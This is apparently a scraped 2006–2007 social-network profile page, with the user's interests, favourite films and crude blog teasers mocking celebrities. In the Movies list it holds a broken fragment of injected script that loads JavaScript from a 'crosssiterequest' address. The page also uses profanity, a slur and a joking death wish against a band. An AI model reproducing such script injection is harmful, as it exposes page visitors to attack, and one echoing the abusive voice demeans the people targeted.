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The Mizz

If you see them, tell them their ass is grass... and I'm gonna smoke it.

About Me

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Why don't you check it out? Or we cut off your Johnson!KP doing what he does.The RepeatIt's the ULTIMATE WARRIOR bitch

My Interests

I'm always up for a slurpee, other than that, I like socks. Socks kick ass.

I'd like to meet:

People who aren't totally sold on themselves. Are there any people out there like that? Stephen Colbert, that guy's just the shit. And Voltaire, he only invented the American legal system and the theory that church and state should be seperated. What a beast.

Music:

Not Nickelback, fuck Nickelback. If you read this, and you happen to be in a band called Nickelback, take a bath with a toaster.

Movies:

Big Lebowski, Caddyshack, Blues Brothers, Mallrats, Anchorman, Animal House, 1941, Team America (fuck yeah), The Punisher, Old School. I'm drawing a blank, but basicly anything that makes me laugh or has nudity or severe ruinage in it..... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:

I mostly watch my DVD's of shows like "My So Called Life," "Freaks and Geeks," and "Clarissa Explains it All." The 90's provided us with all of the entertainment we'd ever need. Everything is a terrible piece of crap.

Books:

Fuck. Anything expressing what a joke everything is.

Heroes:

The Dude, The guy who invented Slurpees, Kirby Puckett and Bill Clinton. And REGGIE BUSH... NO WAY!?! WAY!!!..

My Blog

My Chemical Romance... A Tragic Tragedy

To say that My Chemical Romance sucks ass is a massive understatement. It's hard to fathom what it is exactly makes people think that this group of jackass's have talent. I don't know if it's their cr...
Posted by The Mizz on Tue, 31 Jul 2007 09:52:00 PST

The Most Amazing TV Show Ever...

I've recently been pondering if there had ever been a TV show that dominated so hard that it needed to be taken off the air. Such a show would need to exhibit several qualities; such as awesomeness, c...
Posted by The Mizz on Fri, 06 Apr 2007 09:42:00 PST

Oh Come On

Why is it that every god damn channel in the universe right now feels the need to talk about Anna Nicole Smith like she was the fu... freaking president? Everyone's acting like this is the most tragic...
Posted by The Mizz on Sat, 10 Feb 2007 06:21:00 PST

Stick Riot

Carson Daly: Holy Jesus, what is wrong with the world today that has allowed this jackass to be on TV for as long as he has? He's not funny, he's not witty, he's not really anything, just sort of& the...
Posted by The Mizz on Wed, 24 Jan 2007 11:23:00 PST

Congratulations

I thought I would take a moment to congratulate George W. Bush and his homeboys for the successful execution of Saddam Hussein tonight. What occurred today would have made the administration shed tear...
Posted by The Mizz on Sat, 30 Dec 2006 03:29:00 PST

A Holiday Stickage...

The snow and ice ruin of the greater Reno/Sparks area has left me at home and sober. Thus I'll take my frustrations out on the current holiday season: Christmas Music: A couple of reasons as to why Ch...
Posted by The Mizz on Sun, 17 Dec 2006 01:31:00 PST

The Stickage Continues

1)      Larry the Cable Guy: Nobody with an IQ over 2 enjoys this idiot. This dangleberry runs around on stage with a sleeveless plaid shirt, making his living with a catch ph...
Posted by The Mizz on Tue, 07 Nov 2006 11:00:00 PST

More People who can Stick it

Yes, behold you petty morons, I've thought of more people I hate! So yeah... Andy Milonakis: Could anyone be any more retarded than this guy? And is it possible for anyone not named Carlos Mencia to h...
Posted by The Mizz on Fri, 13 Oct 2006 11:43:00 PST

People who can Stick it (Part I)

This is a short list of people whom& well, can stick it. They should report to my door immediately for punches to the face, and kicks to the stomach.   So without further delay:   1) &n...
Posted by The Mizz on Tue, 10 Oct 2006 12:12:00 PST

Steve Irwin... A Tribute to a Noble Savage

Tis a sad day friends. Tis a sad day indeed. For those of you who haven't heard the tragic news, Steve "The Crocodile Hunter" Irwin got his shit ruined by a sting ray today off the coast of Austr...
Posted by The Mizz on Mon, 04 Sep 2006 01:36:00 PST